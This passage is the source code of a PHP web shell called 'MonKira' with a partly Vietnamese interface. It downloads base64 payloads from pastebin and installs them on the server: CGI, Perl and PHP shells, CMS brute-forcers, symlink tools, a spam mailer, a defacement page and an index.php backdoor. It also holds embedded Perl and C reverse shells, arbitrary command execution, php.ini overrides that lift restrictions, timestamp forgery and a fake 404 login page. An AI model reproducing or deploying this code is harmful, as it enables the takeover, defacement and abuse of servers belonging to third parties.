IHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOwoK';
1510 $file = fopen("MonKiraCGI.log", "w+");
1511 $write = fwrite($file, base64_decode($pythonp));
1512 fclose($file);
1513 chmod("MonKiraCGI.log", 0755);
1514 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKiraCGI.log' target='_blank' style='color:red'>MonKiraCGI.log</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1515} elseif ($action == 'pl') {
1516 mkdir('MonKira', 0755);
1517 chdir('MonKira');
1518 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=JshksKcP');
1519 $file = fopen("MonKira.pl", "w+");
1520 $write = fwrite($file, base64_decode($pythonp));
1521 fclose($file);
1522 chmod("MonKira.pl", 0755);
1523 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.pl' target='_blank' style='color:red'>MonKira.pl</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1524} elseif ($action == 'sa') {
1525 mkdir('MonKira', 0755);
1526 chdir('MonKira');
1527 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=1rAwssr2');
1528 $file = fopen("MonKira.sa", "w+");
1529 $write = fwrite($file, base64_decode($pythonp));
1530 fclose($file);
1531 chmod("MonKira.sa", 0755);
1532 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.sa' target='_blank' style='color:red'>MonKira.sa</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1533} elseif ($action == 'cin') {
1534 mkdir('MonKira', 0755);
1535 chdir('MonKira');
1536 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=dxLK815x');
1537 $file = fopen("MonKira.cin", "w+");
1538 $write = fwrite($file, base64_decode($pythonp));
1539 fclose($file);
1540 chmod("MonKira.cin", 0755);
1541 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.cin' target='_blank' style='color:red'>MonKira.cin</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1542} elseif ($action == 'izo') {
1543 mkdir('MonKira', 0755);
1544 chdir('MonKira');
1545 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=B4F9XxFF');
1546 $file = fopen("MonKira.izo", "w+");
1547 $write = fwrite($file, base64_decode($pythonp));
1548 fclose($file);
1549 chmod("MonKira.izo", 0755);
1550 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.izo' target='_blank' style='color:red'>MonKira.izo</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1551} elseif ($action == 'shtml') {
1552 mkdir('MonKira', 0755);
1553 chdir('MonKira');
1554 $kokdosya = ".htaccess";
1555 $dosya_adi = "$kokdosya";
1556 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1557 $metin = "AddType text/html .shtml
1558AddHandler server-parsed .shtml
1559Options +Includes";
1560 fwrite($dosya, $metin);
1561 fclose($dosya);
1562 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=vi3NsujB');
1563 $file = fopen("MonKira.shtml", "w+");
1564 $write = fwrite($file, base64_decode($pythonp));
1565 fclose($file);
1566 chmod("MonKira.shtml", 0755);
1567 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.shtml' target='_blank' style='color:red'>MonKira.shtml</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1568} elseif ($action == 'backconnect') {
1569 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1570 !$yourport && $yourport = '7777';
1571 $usedb = array(
1572 'perl' => 'perl',
1573 'c' => 'c'
1574 );
1575 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1576 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1577 if ($start && $yourip && $yourport && $use) {
1578 if ($use == 'perl') {
1579 cf('/tmp/angel_bc', $back_connect);
1580 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1581 } else {
1582 cf('/tmp/angel_bc.c', $back_connect_c);
1583 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1584 @unlink('/tmp/angel_bc.c');
1585 $res = execute("/tmp/angel_bc $yourip $yourport &");
1586 }
1587 m("Now script try connect to $yourip port $yourport ...");
1588 }
1589 formhead(array(
1590 'title' => '<h2>Lệnh Back Connect: nc -vv -l -p 7777 �<a style="color:aqua;" href="http://www.mediafire.com/download/oz2605n328gnkru" target="_blank" title="Tải Netcat tại đây">Tải NetCat�</a></h2>'
1591 ));
1592 makehide('action', 'backconnect');
1593 p('
1594');
1595 p('IP:');
1596 makeinput(array(
1597 'name' => 'yourip',
1598 'size' => 20,
1599 'value' => $yourip
1600 ));
1601 p('Cổng:');
1602 makeinput(array(
1603 'name' => 'yourport',
1604 'size' => 15,
1605 'value' => $yourport
1606 ));
1607 p('Use:');
1608 makeselect(array(
1609 'name' => 'use',
1610 'option' => $usedb,
1611 'selected' => $use
1612 ));
1613 makeinput(array(
1614 'name' => 'start',
1615 'value' => 'MonKira',
1616 'type' => 'submit',
1617 'class' => 'bt'
1618 ));
1619 p('');
1620 formfoot();
1621}
1622elseif ($action == 'symtool') {
1623 mkdir('SymTools', 0755);
1624 chdir('SymTools');
1625 $file = fopen($dir . "symtool.php", "w+");
1626 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=xr4p7eam');
1627 $file = fopen("symtool.php", "w+");
1628 $write = fwrite($file, base64_decode($perltoolss));
1629 fclose($file);
1630 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='SymTools/symtool.php' target='_blank' style='color:red'>symtool.php</a></font></b></center>";
1631}
1632
1633elseif ($action == 'phpini') {
1634 $file = fopen($dir . "php.ini", "w+");
1635 $perltoolss = 'c2FmZV9tb2RlICAgICAgICAgID0gICAgICAgT0ZGCmRpc2FibGVfZnVuY3Rpb25zICAgICAgID0gICAgICAgICAgICBOT05F';
1636 $file = fopen("php.ini", "w+");
1637 $write = fwrite($file, base64_decode($perltoolss));
1638 fclose($file);
1639 echo "<br /><center><b><font color='#33ff33' size='4'>Tạo file php.ini thà nh công</font>";
1640}
1641
1642elseif ($action == 'termi') {
1643 $file = fopen($dir . "DGTerminal.php", "w+");
1644 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1645 $file = fopen("DGTerminal.php", "w+");
1646 $write = fwrite($file, base64_decode($perltoolss));
1647 fclose($file);
1648 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
1649
1650}
1651elseif ($action == 'brutewp') {
1652 $file = fopen($dir . "brutewp.php", "w+");
1653 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=msNKkZQx');
1654 $file = fopen("brutewp.php", "w+");
1655 $write = fwrite($file, base64_decode($perltoolss));
1656 fclose($file);
1657 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brutewp.php' target='_blank' style='color:red'>brutewp.php</a></font></b></center>";
1658}
1659elseif ($action == 'bcphp') {
1660 $file = fopen($dir . "backconnect.php", "w+");
1661 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
1662 $file = fopen("backconnect.php", "w+");
1663 $write = fwrite($file, base64_decode($perltoolss));
1664 fclose($file);
1665 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='backconnect.php' target='_blank' style='color:red'>backconnect.php</a></font></b></center>";
1666}
1667elseif ($action == 'fakesym') {
1668 $file = fopen($dir . "fakesym.php", "w+");
1669 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=x99MXWEm');
1670 $file = fopen("fakesym.php", "w+");
1671 $write = fwrite($file, base64_decode($perltoolss));
1672 fclose($file);
1673 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakesym.php' target='_blank' style='color:red'>fakesym.php</a></font></b></center>";
1674}
1675elseif ($action == 'pack') {
1676 $file = fopen($dir . "s-pack.php", "w+");
1677 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=KnQJY31M');
1678 $file = fopen("s-pack.php", "w+");
1679 $write = fwrite($file, base64_decode($perltoolss));
1680 fclose($file);
1681 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='s-pack.php' target='_blank' style='color:red'>s-pack.php</a></font></b></center>";
1682}
1683elseif ($action == 'massfd') {
1684 $file = fopen($dir . "massfd.php", "w+");
1685 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
1686 $file = fopen("massfd.php", "w+");
1687 $write = fwrite($file, base64_decode($perltoolss));
1688 fclose($file);
1689 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='massfd.php' target='_blank' style='color:red'>massfd.php</a></font></b></center>";
1690}
1691elseif ($action == 'spam') {
1692 $file = fopen($dir . "fakemail.php", "w+");
1693 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
1694 $file = fopen("fakemail.php", "w+");
1695 $write = fwrite($file, base64_decode($perltoolss));
1696 fclose($file);
1697 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakemail.php' target='_blank' style='color:red'>fakemail.php</a></font></b></center>";
1698}
1699elseif ($action == 'priv8') {
1700 $file = fopen($dir . "python.php", "w+");
1701 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=hfmB2ccM');
1702 $file = fopen("python.php", "w+");
1703 $write = fwrite($file, base64_decode($perltoolss));
1704 fclose($file);
1705 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='python.php' target='_blank' style='color:red'>python.php</a></font></b></center>";
1706}
1707elseif ($action == 'zipcode') {
1708 $file = fopen($dir . "zip.php", "w+");
1709 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=mv4KY8ez');
1710 $file = fopen("zip.php", "w+");
1711 $write = fwrite($file, base64_decode($perltoolss));
1712 fclose($file);
1713 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='zip.php' target='_blank' style='color:red'>zip.php</a></font></b></center>";
1714}
1715 elseif ($action == 'scan') {
1716 $file = fopen($dir . "scan.php", "w+");
1717 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
1718 $file = fopen("scan.php", "w+");
1719 $write = fwrite($file, base64_decode($perltoolss));
1720 fclose($file);
1721 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='scan.php' target='_blank' style='color:red'>scan.php</a></font></b></center>";
1722}elseif ($action == 'mass') {
1723 $file = fopen($dir . "mass.php", "w+");
1724 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=v3aJKadW');
1725 $file = fopen("mass.php", "w+");
1726 $write = fwrite($file, base64_decode($perltoolss));
1727 fclose($file);
1728 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='mass.php' target='_blank' style='color:red'>mass.php</a></font></b></center>";
1729}
1730 elseif ($action == 'brute') {
1731 $file = fopen($dir . "brute.php", "w+");
1732 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=06irSaZv');
1733 $file = fopen("brute.php", "w+");
1734 $write = fwrite($file, base64_decode($perltoolss));
1735 fclose($file);
1736 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brute.php' target='_blank' style='color:red'>brute.php</a></font></b></center>";
1737}
1738 elseif ($action == 'joomla') {
1739 $file = fopen($dir . "joomlabt.php", "w+");
1740 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
1741 $file = fopen("joomlabt.php", "w+");
1742 $write = fwrite($file, base64_decode($perltoolss));
1743 fclose($file);
1744 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='joomlabt.php' target='_blank' style='color:red'>joomlabt.php</a></font></b></center>";
1745}
1746elseif ($action == 'symljnk') {
1747 $file = fopen($dir . "symljnk.php", "w+");
1748 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q30KY0bz');
1749 $file = fopen("symljnk.php", "w+");
1750 $write = fwrite($file, base64_decode($perltoolss));
1751 fclose($file);
1752 echo "<iframe src=symljnk.php width=100% height=720px frameborder=0></iframe>";
1753}
1754 elseif ($action == 'md5') {
1755 $file = fopen($dir . "md5.php", "w+");
1756 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=AxsVaupZ');
1757 $file = fopen("md5.php", "w+");
1758 $write = fwrite($file, base64_decode($perltoolss));
1759 fclose($file);
1760 echo "<iframe src=md5.php width=100% height=720px frameborder=0></iframe> ";
1761} elseif ($action == 'reverseip') {
1762
1763 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
1764}
1765elseif ($action == 'df')
1766{
1767 $file = fopen("index.html", "w+");
1768 $data = base64_decode(file_get_contents('http://pastebin.com/raw.php?i=tju85jtK'));
1769 fwrite($file, $data);
1770 fclose($file);
1771 echo '<center>Tải lên index lên thành công !</center>';
1772 }
1773elseif ($action == 'backdoor')
1774{
1775 $file = fopen("index.php", "w+");
1776 $data = base64_decode(file_get_contents('http://pastebin.com/raw.php?i=GuK2mE5E'));
1777 fwrite($file, $data);
1778 fclose($file);
1779 echo '<center>Gắn BackDoor thành công!!</center></br>';
1780 echo '<a href="index.php?MonKira=dir -lia" target="_blank"><center><font color=#E0FFFF>Mở BackDoor Command</font></a></br></center>';
1781 echo '<a href="index.php?login=" target="_blank"><center><font color=#52F3FF>Mở BackDoor UpLoad</font></center></a>';
1782
1783}
1784elseif ($action == 'find')
1785{
1786 $file = fopen("findadmin.php", "w+");
1787 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Wmib0LHd');
1788 $write = fwrite($file, base64_decode($perltoolss));
1789 fclose($file);
1790 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='findadmin.php' target='_blank' style='color:red'>findadmin.php</a></font></b></center>";
1791}
1792elseif ($action == 'huongdan')
1793{
1794 echo "<iframe src=http://pastebin.com/raw.php?i=v6gwEzug width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1795}
1796elseif ($action == 'exlocal')
1797{
1798 echo "<iframe src=http://pastebin.com/raw.php?i=PSSwEiY2 width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1799}
1800elseif ($action == 'editfile') {
1801 if (file_exists($opfile)) {
1802 $fp = @fopen($opfile, 'r');
1803 $contents = @fread($fp, filesize($opfile));
1804 @fclose($fp);
1805 $contents = htmlspecialchars($contents);
1806 }
1807 formhead(array(
1808 'title' => 'Tạo mới và chỉnh sửa file'
1809 ));
1810 makehide('action', 'file');
1811 makehide('dir', $nowpath);
1812 makeinput(array(
1813 'title' => 'Path file (ghi đầy đủ path khi tạo mới file)',
1814 'name' => 'editfilename',
1815 'value' => $opfile,
1816 'newline' => 1
1817 ));
1818 maketext(array(
1819 'title' => 'Code file',
1820 'name' => 'filecontent',
1821 'value' => $contents
1822 ));
1823 formfooter();
1824} elseif ($action == 'newtime') {
1825 $opfilemtime = @filemtime($opfile);
1826 $cachemonth = array(
1827 'January' => 1,
1828 'February' => 2,
1829 'March' => 3,
1830 'April' => 4,
1831 'May' => 5,
1832 'June' => 6,
1833 'July' => 7,
1834 'August' => 8,
1835 'September' => 9,
1836 'October' => 10,
1837 'November' => 11,
1838 'December' => 12
1839 );
1840 formhead(array(
1841 'title' => 'Clone file was last modified time'
1842 ));
1843 makehide('action', 'file');
1844 makehide('dir', $nowpath);
1845 makeinput(array(
1846 'title' => 'Alter file',
1847 'name' => 'curfile',
1848 'value' => $opfile,
1849 'size' => 120,
1850 'newline' => 1
1851 ));
1852 makeinput(array(
1853 'title' => 'Reference file (fullpath)',
1854 'name' => 'tarfile',
1855 'size' => 120,
1856 'newline' => 1
1857 ));
1858 formfooter();
1859 formhead(array(
1860 'title' => 'Set last modified'
1861 ));
1862 makehide('action', 'file');
1863 makehide('dir', $nowpath);
1864 makeinput(array(
1865 'title' => 'Path file hiện tại:',
1866 'name' => 'curfile',
1867 'value' => $opfile,
1868 'size' => 120,
1869 'newline' => 1
1870 ));
1871 p('<p>Instead »');
1872 p('year:');
1873 makeinput(array(
1874 'name' => 'year',
1875 'value' => date('Y', $opfilemtime),
1876 'size' => 4
1877 ));
1878 p('month:');
1879 makeinput(array(
1880 'name' => 'month',
1881 'value' => date('m', $opfilemtime),
1882 'size' => 2
1883 ));
1884 p('day:');
1885 makeinput(array(
1886 'name' => 'day',
1887 'value' => date('d', $opfilemtime),
1888 'size' => 2
1889 ));
1890 p('hour:');
1891 makeinput(array(
1892 'name' => 'hour',
1893 'value' => date('H', $opfilemtime),
1894 'size' => 2
1895 ));
1896 p('minute:');
1897 makeinput(array(
1898 'name' => 'minute',
1899 'value' => date('i', $opfilemtime),
1900 'size' => 2
1901 ));
1902 p('second:');
1903 makeinput(array(
1904 'name' => 'second',
1905 'value' => date('s', $opfilemtime),
1906 'size' => 2
1907 ));
1908 p('</p>');
1909 formfooter();
1910} elseif ($action == 'symroot') {
1911 $file = fopen($dir . "symroot.php", "w+");
1912 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
1913 $file = fopen("symroot.php", "w+");
1914 $write = fwrite($file, base64_decode($perltoolss));
1915 fclose($file);
1916 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='symroot.php' target='_blank' style='color:red'>symroot.php</a></font></b></center>";
1917}
1918if ($action == 'shell') {
1919 if (IS_WIN && IS_COM) {
1920 if ($program && $parameter) {
1921 $shell = new COM('Shell.Application');
1922 $a = $shell->ShellExecute($program, $parameter);
1923 m('Program run has ' . (!$a ? 'success' : 'fail'));
1924 }
1925 !$program && $program = 'c:\indows\ystem32\md.exe';
1926 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1927 formhead(array(
1928 'title' => 'Execute Program'
1929 ));
1930 makehide('action', 'shell');
1931 makeinput(array(
1932 'title' => 'Program',
1933 'name' => 'program',
1934 'value' => $program,
1935 'newline' => 1
1936 ));
1937 p('<p>');
1938 makeinput(array(
1939 'title' => 'Parameter',
1940 'name' => 'parameter',
1941 'value' => $parameter
1942 ));
1943 makeinput(array(
1944 'name' => 'submit',
1945 'class' => 'bt',
1946 'type' => 'submit',
1947 'value' => 'Execute'
1948 ));
1949 p('</p>');
1950 formfoot();
1951 }
1952 formhead(array(
1953 'title' => 'Execute Command'
1954 ));
1955 makehide('action', 'shell');
1956 if (IS_WIN && IS_COM) {
1957 $execfuncdb = array(
1958 'phpfunc' => 'phpfunc',
1959 'wscript' => 'wscript',
1960 'proc_open' => 'proc_open'
1961 );
1962 makeselect(array(
1963 'title' => 'Use:',
1964 'name' => 'execfunc',
1965 'option' => $execfuncdb,
1966 'selected' => $execfunc,
1967 'newline' => 1
1968 ));
1969 }
1970 p('<p>');
1971 makeinput(array(
1972 'title' => 'Command',
1973 'name' => 'command',
1974 'value' => $command
1975 ));
1976 makeinput(array(
1977 'name' => 'submit',
1978 'class' => 'bt',
1979 'type' => 'submit',
1980 'value' => 'Execute'
1981 ));
1982 p('</p>');
1983 formfoot();
1984 if ($command) {
1985 p('<hr width="100%" noshade /><pre>');
1986 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1987 $wsh = new COM('WScript.shell');
1988 $exec = $wsh->exec('cmd.exe /c ' . $command);
1989 $stdout = $exec->StdOut();
1990 $stroutput = $stdout->ReadAll();
1991 echo $stroutput;
1992 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1993 $descriptorspec = array(
1994 0 => array(
1995 'pipe',
1996 'r'
1997 ),
1998 1 => array(
1999 'pipe',
2000 'w'
2001 ),
2002 2 => array(
2003 'pipe',
2004 'w'
2005 )
2006 );
2007 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2008 if (is_resource($process)) {
2009 fwrite($pipes[0], $command . "
2010");
2011 fwrite($pipes[0], "exit
2012");
2013 fclose($pipes[0]);
2014 while (!feof($pipes[1])) {
2015 echo fgets($pipes[1], 1024);
2016 }
2017 fclose($pipes[1]);
2018 while (!feof($pipes[2])) {
2019 echo fgets($pipes[2], 1024);
2020 }
2021 fclose($pipes[2]);
2022 proc_close($process);
2023 }
2024 } else {
2025 echo (execute($command));
2026 }
2027 p('</pre>');
2028 }
2029}
2030?></td></tr></table>
2031<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2032 <span style="float:right;"><?php
2033debuginfo();
2034ob_end_flush();
2035?></span>
2036 Copyright @ 2015 By: <a href=http://facebook.com/monkira.hs target=_blank><B>.:: MonKira ::. </B></a>
2037</div>
2038</body>
2039</html>
2040<?php
2041function m($msg)
2042{
2043 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2044 echo $msg;
2045 echo '</div>';
2046}
2047function scookie($key, $value, $life = 0, $prefix = 1)
2048{
2049 global $admin, $timestamp, $_SERVER;
2050 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
2051 $life = $life ? $life : $admin['cookielife'];
2052 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2053 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2054}
2055function multi($num, $perpage, $curpage, $tablename)
2056{
2057 $multipage = '';
2058 if ($num > $perpage) {
2059 $page = 10;
2060 $offset = 5;
2061 $pages = @ceil($num / $perpage);
2062 if ($page > $pages) {
2063 $from = 1;
2064 $to = $pages;
2065 } else {
2066 $from = $curpage - $offset;
2067 $to = $curpage + $page - $offset - 1;
2068 if ($from < 1) {
2069 $to = $curpage + 1 - $from;
2070 $from = 1;
2071 if (($to - $from) < $page && ($to - $from) < $pages) {
2072 $to = $page;
2073 }
2074 } elseif ($to > $pages) {
2075 $from = $curpage - $pages + $to;
2076 $to = $pages;
2077 if (($to - $from) < $page && ($to - $from) < $pages) {
2078 $from = $pages - $page + 1;
2079 }
2080 }
2081 }
2082 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
2083 for ($i = $from; $i <= $to; $i++) {
2084 $multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
2085 }
2086 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
2087 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
2088 }
2089 return $multipage;
2090}
2091function loginpage()
2092{
2093?>
2094<?php $MonKira = file_get_contents ('http://monkira.tk/index.txt');
2095$MonKira1 = "<title>404 Not Found</title><style type='text/css'>
2096A:link {text-decoration: none; color: green }
2097A:visited {text-decoration: none;color:red}
2098A:active {text-decoration: none}
2099A:hover {text-decoration: underline; color: green;}
2100input, textarea, button
2101{
2102 font-size: 11pt;
2103 color: white;
2104 font-family: verdana, sans-serif;
2105 background-color: white;
2106 border-left: 2px dashed white;
2107 border-top: 2px dashed white;
2108 border-right: 2px dashed white;
2109 border-bottom: 2px dashed white;
2110}
2111
2112</style></head><body><h1>Not Found</h1>
2113<p>The requested URL was not found on this server.</p>
2114<hr>";
2115$host = $_SERVER['HTTP_HOST'];
2116
2117echo $MonKira;
2118
2119
2120?>
2121<?php
2122//setup php for working with Unicode data
2123mb_internal_encoding('UTF-8');
2124mb_http_output('UTF-8');
2125mb_http_input('UTF-8');
2126mb_language('uni');
2127mb_regex_encoding('UTF-8');
2128ob_start('mb_output_handler');
2129 exit;
2130}
2131function execute($cfe)
2132{
2133 $res = '';
2134 if ($cfe) {
2135 if (function_exists('exec')) {
2136 @exec($cfe, $res);
2137 $res = join("
2138", $res);
2139 } elseif (function_exists('shell_exec')) {
2140 $res = @shell_exec($cfe);
